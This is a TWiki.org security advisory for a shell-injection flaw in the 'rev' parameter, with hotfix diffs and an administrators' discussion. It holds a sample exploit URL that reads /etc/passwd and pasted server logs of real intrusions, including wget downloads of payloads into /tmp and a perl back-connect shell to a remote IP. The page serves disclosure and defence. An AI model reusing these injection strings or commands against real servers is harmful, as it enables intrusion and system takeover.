Security Alert: TWiki history function allows arbitrary shell command execution
Please join the twiki-announce list: |
To get immediate alerts of high priority security issues, please join the low-volume twiki-announce list - details at TWikiAnnounceMailingList |
Update 27 Sep 2005: Please upgrade to
TWikiRelease04Sep2004 or apply patch for
SecurityAlertExecuteCommandsWithInclude. --
PeterThoeny - 27 Sep 2005
Vulnerable Software Version
Not affected are:
Attack Vectors
HTTP GET requests towards the Wiki server (typically port 80/TCP).
Usually, no prior authentication is necessary.
Possibly also HTTP POST, but this is untested.
Impact
An attacker is able to execute arbitrary shell commands with the
privileges of the web server process, such as user nobody.
MITRE Name for this Vulnerability
The Common Vulnerabilities and Exposures project has assigned the
name
CAN-2005-2877
to this vulnerability.
Details
The TWiki revision control function uses a user supplied URL
parameter to compose a command line executed by the Perl backtick
(``) operator.
The URL parameter is not checked properly for shell metacharacters
and is thus vulnerable to revision numbers containing pipes and
shell commands. Exploit is possible on topics with two or more
revisions.
Example URL path with exploited rev parameter:
/cgi-bin/view/Main/TWikiUsers?rev=2%20%7Cless%20/etc/passwd
If access to TWiki is not restricted by other means, attackers can
use the revision function without prior authentication.
See Also: SecurityAlertExecuteCommandsWithSearch and
UncoordinatedSecurityAlert23Feb2005
Countermeasures
- Apply hotfix (see patches below)
- NOTE: The hotfix is known to prevent the current attacks, but it might not be a complete fix
- Upgrade to the latest patched production TWikiRelease03Sep2004
- NOTE: If you are running an unmodified TWikiRelease02Sep2004, simply copy the patched lib/TWiki/Store.pm, lib/TWiki/UI/RDiff.pm, lib/TWiki/UI/View.pm and lib/TWiki/UI/Viewfile.pm to your installation
- Apply patch of UncoordinatedSecurityAlert23Feb2005 (but see known issues of that patch)
- Filter access to the web server
- Use the web server software to restrict access to the web pages served by TWiki
Authors and Credits
Hotfix
Patch for TWiki Production Release 01-Sep-2004 and 02-Sep-2004
Affected files:
twiki/lib/TWiki/Store.pm,
twiki/lib/TWiki/UI/RDiff.pm,
twiki/lib/TWiki/UI/View.pm,
twiki/lib/TWiki/UI/Viewfile.pm
See also attached patch file
TWiki200409-02-03.patch
--- lib/TWiki/Store.pm.orig Thu Jul 22 01:43:40 2004
+++ lib/TWiki/Store.pm Thu Sep 8 21:30:44 2005
@@ -572,7 +572,9 @@
}
$theRev = "" unless( $theRev );
- $theRev =~ s/^1\.//o;
+ $theRev =~ s/r?1\.//o; # cut 'r' and major
+ # Fix for Codev.SecurityAlertExecuteCommandsWithRev
+ $theRev = "" unless( $theRev =~ s/.*?([0-9]+).*/$1/o );
$topicHandler = _getTopicHandler( $theWebName, $theTopic, $attachment ) if( ! $topicHandler );
my( $rcsOut, $rev, $date, $user, $comment ) = $topicHandler->getRevisionInfo( $theRev );
--- lib/TWiki/UI/RDiff.pm.orig Sun Aug 8 01:28:45 2004
+++ lib/TWiki/UI/RDiff.pm Thu Sep 8 21:33:13 2005
@@ -409,6 +409,9 @@
if( ! $rev2 ) { $rev2 = 0; }
$rev1 =~ s/r?1\.//go; # cut 'r' and major
$rev2 =~ s/r?1\.//go; # cut 'r' and major
+ # Fix for Codev.SecurityAlertExecuteCommandsWithRev
+ $rev1 = $maxrev unless( $rev1 =~ s/.*?([0-9]+).*/$1/o );
+ $rev2 = $maxrev unless( $rev2 =~ s/.*?([0-9]+).*/$1/o );
if( $rev1 < 1 ) { $rev1 = $maxrev; }
if( $rev1 > $maxrev ) { $rev1 = $maxrev; }
if( $rev2 < 1 ) { $rev2 = 1; }
--- lib/TWiki/UI/View.pm.orig Tue Aug 24 23:36:15 2004
+++ lib/TWiki/UI/View.pm Thu Sep 8 21:34:52 2005
@@ -107,6 +107,8 @@
if( $rev ) {
$rev =~ s/r?1\.//go; # cut 'r' and major
+ # Fix for Codev.SecurityAlertExecuteCommandsWithRev
+ $rev = $maxrev unless( $rev =~ s/.*?([0-9]+).*/$1/o );
if( $rev < 1 ) { $rev = 1; }
if( $rev > $maxrev ) { $rev = $maxrev; }
} else {
--- lib/TWiki/UI/Viewfile.pm.orig Fri May 28 23:51:35 2004
+++ lib/TWiki/UI/Viewfile.pm Thu Sep 8 21:35:59 2005
@@ -43,6 +43,9 @@
my $fileName = $query->param( 'filename' );
my $rev = $query->param( 'rev' ) || "";
+ $rev =~ s/r?1\.//o; # cut 'r' and major
+ # Fix for Codev.SecurityAlertExecuteCommandsWithRev
+ $rev = "" unless( $rev =~ s/.*?([0-9]+).*/$1/o );
return unless TWiki::UI::webExists( $webName, $topic );
Patch for TWiki Production Release 01-Feb-2003
Affected files:
twiki/lib/TWiki/Store.pm,
twiki/bin/rdiff,
twiki/bin/view,
twiki/bin/viewfile
--- lib/TWiki/Store.pm.orig Sat Jan 4 17:36:56 2003
+++ lib/TWiki/Store.pm Thu Sep 8 23:10:58 2005
@@ -351,9 +351,11 @@
if( ! $theWebName ) {
$theWebName = $TWiki::webName;
}
-
- $theRev =~ s/^1\.//o;
+ $theRev =~ s/r?1\.//o; # cut 'r' and major
+ # Fix for Codev.SecurityAlertExecuteCommandsWithRev
+ $theRev = "" unless( $theRev =~ s/.*?([0-9]+).*/$1/o );
+
$topicHandler = _getTopicHandler( $theWebName, $theTopic, $attachment ) if( ! $topicHandler );
my( $rcsOut, $rev, $date, $user, $comment ) = $topicHandler->getRevisionInfo( $theRev );
--- bin/rdiff.orig Sat Feb 1 00:57:32 2003
+++ bin/rdiff Thu Sep 8 23:18:05 2005
@@ -155,6 +155,9 @@
if( ! $rev2 ) { $rev2 = 0; }
$rev1 =~ s/r?1\.//go; # cut 'r' and major
$rev2 =~ s/r?1\.//go; # cut 'r' and major
+ # Fix for Codev.SecurityAlertExecuteCommandsWithRev
+ $rev1 = $maxrev unless( $rev1 =~ s/.*?([0-9]+).*/$1/o );
+ $rev2 = $maxrev unless( $rev2 =~ s/.*?([0-9]+).*/$1/o );
if( $rev1 < 1 ) { $rev1 = $maxrev; }
if( $rev1 > $maxrev ) { $rev1 = $maxrev; }
if( $rev2 < 1 ) { $rev2 = 1; }
--- bin/view.orig Thu Jan 30 00:21:25 2003
+++ bin/view Thu Sep 8 23:13:47 2005
@@ -123,6 +123,8 @@
writeDebug( "maxrev = $maxrev" );
if( $rev ) {
$rev =~ s/r?1\.//go; # cut 'r' and major
+ # Fix for Codev.SecurityAlertExecuteCommandsWithRev
+ $rev = $maxrev unless( $rev =~ s/.*?([0-9]+).*/$1/o );
if( $rev < 1 ) { $rev = 1; }
if( $rev > $maxrev ) { $rev = $maxrev; }
} else {
--- bin/viewfile.orig Sun Jan 5 00:36:54 2003
+++ bin/viewfile Thu Sep 8 23:14:54 2005
@@ -63,6 +63,9 @@
my $fileName = $query->param( 'filename' );
my $rev = $query->param( 'rev' ) || "";
+ $rev =~ s/r?1\.//o; # cut 'r' and major
+ # Fix for Codev.SecurityAlertExecuteCommandsWithRev
+ $rev = "" unless( $rev =~ s/.*?([0-9]+).*/$1/o );
my $topRev = &TWiki::Store::getRevisionNumber( $webName, $topic, $fileName );
if( ( $rev ) && ( $rev ne $topRev ) ) {
Patch for TWiki Production Release 01-Dec-2001
Affected files:
twiki/bin/rdiff,
twiki/bin/view,
twiki/bin/viewfile
--- bin/rdiff.orig Tue Nov 13 18:59:02 2001
+++ bin/rdiff Thu Sep 8 23:51:50 2005
@@ -149,6 +149,9 @@
if( ! $rev2 ) { $rev2 = 0; }
$rev1 =~ s/r?1\.//go; # cut 'r' and major
$rev2 =~ s/r?1\.//go; # cut 'r' and major
+ # Fix for Codev.SecurityAlertExecuteCommandsWithRev
+ $rev1 = $maxrev unless( $rev1 =~ s/.*?([0-9]+).*/$1/o );
+ $rev2 = $maxrev unless( $rev2 =~ s/.*?([0-9]+).*/$1/o );
if( $rev1 < 1 ) { $rev1 = $maxrev; }
if( $rev1 > $maxrev ) { $rev1 = $maxrev; }
if( $rev2 < 1 ) { $rev2 = 1; }
--- bin/view.orig Mon Dec 3 09:11:20 2001
+++ bin/view Thu Sep 8 23:52:57 2005
@@ -114,6 +114,8 @@
writeDebug( "maxrev = $maxrev" );
if( $rev ) {
$rev =~ s/r?1\.//go; # cut 'r' and major
+ # Fix for Codev.SecurityAlertExecuteCommandsWithRev
+ $rev = $maxrev unless( $rev =~ s/.*?([0-9]+).*/$1/o );
if( $rev < 1 ) { $rev = 1; }
if( $rev > $maxrev ) { $rev = $maxrev; }
} else {
--- bin/viewfile.orig Fri Oct 5 18:03:20 2001
+++ bin/viewfile Thu Sep 8 23:53:45 2005
@@ -62,6 +62,9 @@
my $fileName = $query->param( 'filename' );
my $rev = $query->param( 'rev' ) || "";
+ $rev =~ s/r?1\.//o; # cut 'r' and major
+ # Fix for Codev.SecurityAlertExecuteCommandsWithRev
+ $rev = "" unless( $rev =~ s/.*?([0-9]+).*/$1/o );
my $topRev = &TWiki::Store::getRevisionNumber( $webName, $topic, $fileName );
if( ( $rev ) && ( $rev ne $topRev ) ) {
Patch for TWiki Production Release 01-Dec-2000
Affected files:
twiki/bin/rdiff,
twiki/bin/view
--- bin/rdiff.orig Tue Nov 14 23:08:48 2000
+++ bin/rdiff Fri Sep 9 00:04:25 2005
@@ -139,6 +139,9 @@
if( ! $rev2 ) { $rev2 = 0; }
$rev1 =~ s/1\.//go; # cut major
$rev2 =~ s/1\.//go; # cut major
+ # Fix for Codev.SecurityAlertExecuteCommandsWithRev
+ $rev1 = $maxrev unless( $rev1 =~ s/.*?([0-9]+).*/$1/o );
+ $rev2 = $maxrev unless( $rev2 =~ s/.*?([0-9]+).*/$1/o );
if( $rev1 < 1 ) { $rev1 = $maxrev; }
if( $rev1 > $maxrev ) { $rev1 = $maxrev; }
if( $rev2 < 1 ) { $rev2 = 1; }
--- bin/view.orig Tue Nov 14 23:14:31 2000
+++ bin/view Fri Sep 9 00:05:10 2005
@@ -77,6 +77,8 @@
$maxrev =~ s/1\.//go; # cut major
if( $rev ) {
$rev =~ s/1\.//go; # cut major
+ # Fix for Codev.SecurityAlertExecuteCommandsWithRev
+ $rev = $maxrev unless( $rev =~ s/.*?([0-9]+).*/$1/o );
if( $rev < 1 ) { $rev = 1; }
if( $rev > $maxrev ) { $rev = $maxrev; }
$text= &wiki::readVersion( $topic, "1.$rev" );
--
PeterThoeny - 09 Sep 2005
Action Plan with Timeline
External Links
--
PeterThoeny - 13 Sep 2005
Discussions
Patches do not apply cleanly due to patch format issues, at least for me on Debian using GNU patch 2.5.4. Please see my email on twiki-security list.
--
RichardDonkin - 13 Sep 2005
I compared Colas' diff and my diff. I
think the issue is that my diffs have an extra leading "diff" line. I removed that.
--
PeterThoeny - 13 Sep 2005
forgive my ignorance, but i should be able to run "patch -i TWiki200409-02-03.patch" right? If I try with the --dry-run option it complains it can't find the files for the code changes, but it appears to find licence.text, readme.txt and TwikiDocumentation.html ok. I also tried copy/pasting the code blocks given in the page and patching that, same deal. Any ideas?
--
MattEstela - 14 Sep 2005
Go to the twiki root directory and use this command:
patch -p0 < patchfile
This worked on all machines I patched...
--
ThomasWeigert - 15 Sep 2005
PLEASE read
http://search.cpan.org/dist/perl/pod/perlipc.pod#Safe_Pipe_Opens
to see how to see how to do safe pipe opens - it is very difficult to sanitize arguments sufficiently to make them safe enough to pass to the shell. The patch for the earlier vulnerability also suffered from the same problem.
--
AlanBurlison - 15 Sep 2005
That article is good, though it doesn't suggest the trouble we had in
DakarRelease getting safe pipes to work on all perls. We still don't have a perfect solution for ActiveState on IIS with no Cygwin, though I think our solution is adequate.
--
CrawfordCurrie - 15 Sep 2005
Bugtraq entry
http://www.securityfocus.com/bid/14834
was filed on 14 Sep 2005
--
PeterThoeny - 15 Sep 2005
It would be good to have a "Security update" box on the homepage of twiki.org.
- For now I added a
warning logo next to the existing security alerts link in the sidebar. -- PeterThoeny - 18 Sep 2005
--
ArthurClemens - 16 Sep 2005
What does
Recent in the section
Vulnerable Software Version mean? I took it that recent develop version, let's say from 2 months ago would be fine. So I did not check all installs and last night our webserver got hacked.
Update: The version was from Nov 2004 and therefore not a recent Dakar release. I don't know how I ended up with this version
--
ChristopherOezbek - 16 Sep 2005
Christopher, where did you get your "recent develop version, let's say from 2 months ago" from? How did your server get hacked?
--
CrawfordCurrie - 16 Sep 2005
Hi Crawford,
it was a developer svn snapshot. Around 2 months ago I needed an upgrade because formatted search was not working well with form-data in the Cairo release. I don't know much more except that this morning my private TWiki-install on our university servers had been used as a entry point for a local root-kit. The IT-guys are still on the case and of course I cannot access the machine to tell you which version exactely I had used or give more details. Sorry.
Our institute wiki was a stock cairo release that I had patched immediately after the advisory had been posted and everything is well there.
--
ChristopherOezbek - 16 Sep 2005
Okay update:
- Last night at around 11pm a romanian hacker attacked the TWiki install using the rev exploit.
- At least IT could confirm it using the Apache logs
- The attacker actually took some time and was clumsy with downloading the root-kit onto the machine.
- The IT-guys did not pursue it beyond that yet (enough overtime already).
So the result is that probably until recently (july?) the svn developer version was vulnerable, our web-server was down for 10 hours, no data lost due to backups and that I own some bottles of wine to IT.
--
ChristopherOezbek - 16 Sep 2005
Hmmmm. The sandbox was in place 2 months ago, which suggests that the protection is not working. I have tried to reproduce the vulnerability on latest code, and can't, so I'm confused. Can you tell me exactly what
SVN rev you have (or at least a close number from $TWiki::VERSION)?
--
CrawfordCurrie - 17 Sep 2005
Hi Crawford,
I am sorry that I cannot give more details at the moment, because I cannot access the web-server yet and cgi's are still inaccessible. I would assume the sandbox is working until I can deliver an exact version (probably I am just mistaken and I somehow got an older version), but maybe you could add to the vulnerable version information when the sandbox patch was put into develop svn. I tried to look it up in the svn logs but I only found a message from Will Norris about a fix in a sandbox function from April 28th.
--
ChristopherOezbek - 17 Sep 2005
I just had a box hit, looks like the same group is scanning for twiki's. The rootkit was a standard install in /tmp/..., and hte machine was further used for a udp dos against an IRC server. No attempted appeared to be made to further root the box. Attack time occured sep 16, 5:36 EST
-Mike
--
MikeSmorul - 17 Sep 2005
My server was attacked too, about the same time, at least irc bots were installed Sep 16 14:17 Finnish Time (GMT +2). Server is patched now. Probably no root kit, should reinstall the machine soon. Was able to compare with a backup. Some
perl bots called
bottolo.pl (comments and variables were in Spanish or Portuguese) were installed in the twiki/bin dir and something called
krad was also running.
--
MichaelGindonis - 19 Sep 2005
Just got a chance to look at the machine a little more. twiki logs showed:
| 16 Sep 2005 - 01:53 | Main.TWikiGuest | view | Main.TWikiUsers | r1.2 |wget http://64.18.139.66/~mota/ntfu.txt^@ | 203.81.226.10 |
| 16 Sep 2005 - 02:13 | Main.TWikiGuest | view | Main.TWikiUsers | | 219.93.2.43 |
| 16 Sep 2005 - 02:13 | Main.TWikiGuest | view | Main.TWikiUsers | r1.2 |ls | 219.93.2.43 |
| 16 Sep 2005 - 02:13 | Main.TWikiGuest | view | Main.TWikiUsers | r1.2 |less TWikiUsers.txt | 219.93.2.43 |
| 16 Sep 2005 - 02:34 | Main.TWikiGuest | view | Main.TWikiUsers | r1.2 |perl ntfu.txt^@ | 203.81.226.10 |
| 16 Sep 2005 - 02:34 | Main.TWikiGuest | view | Main.TWikiUsers | r1.2 |perl ntfu.txt^@ | 203.81.226.10 |
| 16 Sep 2005 - 03:22 | Main.TWikiGuest | view | Main.TWikiUsers | | 193.198.144.193 |
| 16 Sep 2005 - 03:23 | Main.TWikiGuest | view | Main.TWikiUsers | r1.2 |less /etc/passwd | 193.198.144.193 |
| 16 Sep 2005 - 03:34 | Main.TWikiGuest | view | Main.TWikiUsers | | 193.198.144.193 |
| 16 Sep 2005 - 03:34 | Main.TWikiGuest | view | Main.TWikiUsers | r1.2 |less /etc/passwd | 193.198.144.193 |
| 16 Sep 2005 - 05:35 | Main.TWikiGuest | view | TWiki.TWikiDocumentation | | 67.169.227.28 |
| 16 Sep 2005 - 05:35 | Main.TWikiGuest | view | Main.TWikiUsers | r1.2 |less /etc/passwd | 67.169.227.28 |
| 16 Sep 2005 - 05:35 | Main.TWikiGuest | view | Main.TWikiUsers | r1.2 |wget -O /tmp/b http://www.slashdemocracy.org/xml/.z/za/b | 67.169.227.28 |
| 16 Sep 2005 - 05:36 | Main.guest | view | Main.TWikiUsers | r1.2 |chmod 777 /tmp/b | 67.169.227.28 |
| 16 Sep 2005 - 05:37 | Main.guest | view | Main.TWikiUsers | r1.2 |id ^@ | 172.180.216.203 |
| 16 Sep 2005 - 05:38 | Main.guest | view | Main.TWikiUsers | r1.2 |wget ^@ | 172.180.216.203 |
| 16 Sep 2005 - 05:38 | Main.guest | view | Main.TWikiUsers | r1.2 |wget -O /tmp/dc.pl sex.hotsteamyteens.com/dc.pl ^@ | 172.180.216.203 |
| 16 Sep 2005 - 05:38 | Main.guest | view | Main.TWikiUsers | r1.2 |perl /tmp/dc.pl 209.166.235.182 2000 ^@ | 172.180.216.203 |
| 16 Sep 2005 - 05:49 | Main.guest | view | Main.TWikiUsers | r1.2 |less /etc/passwd | 67.169.227.28 |
| 16 Sep 2005 - 05:50 | Main.guest | view | Main.TWikiUsers | r1.2 |wget -O /tmp/b http://www.slashdemocracy.org/xml/.z/za/b | 67.169.227.28 |
| 16 Sep 2005 - 05:50 | Main.guest | view | Main.TWikiUsers | r1.2 |wget -O /tmp/a http://www.slashdemocracy.org/xml/.z/za/b | 67.169.227.28 |
| 16 Sep 2005 - 05:50 | Main.guest | view | Main.TWikiUsers | r1.2 |chmod 777 /tmp/a | 67.169.227.28 |
--
MikeSmorul - 19 Sep 2005
My twiki site was hacked using this exploit recently. The successful attacker(s) managed to download perl scripts (dc.txt and dc.pl.txt) to /tmp and execute them. These both did the same thing - connect to a remote machine and spawn a shell. We had a 2.4.22 kernel so I assume that they then escalated privs using some unpatched local root exploit. They installed SHV5 rootkit and a perl irc bot... All backed up and due for an upgrade anyway but pretty miserable nevertheless. Better get on the security announce list...
--
PeteFuggle - 21 Sep 2005
I think we should put up a BROADCASTMESSAGE to encourage everyone to sign up for the
TWikiAnnounceMailingList ... too many people aren't on this list yet so they are prone to getting hacked in the event of another security issue.
--
RichardDonkin - 22 Sep 2005
Okay, I got the following information about the hack of our servers:
- Apparently we had a version from Nov 2004 and not (as I though) a version from June/July 2005.
- The attacker used the revision vulnerability, so there is no reason to believe that there is another insecurity in the Dakar release, previously unfound.
- I guess I will upgrade soon.
--
ChristopherOezbek - 23 Sep 2005
Thanks Christopher, that's a relief to hear. You had me worried for a while!
--
CrawfordCurrie - 23 Sep 2005
just a thought, should we spin off a
TWikiTopic dedicated to analyzing how the exploits were abused and what admins can do next time to better lock down their box ?
For example, I'd like to see what was called from inside these malicious perl scripts and see if there's something I can't do to prevent one weakness from leading to another, just in case I'm among the ones who are hit next time.
--
KeithHelfrich - 24 Sep 2005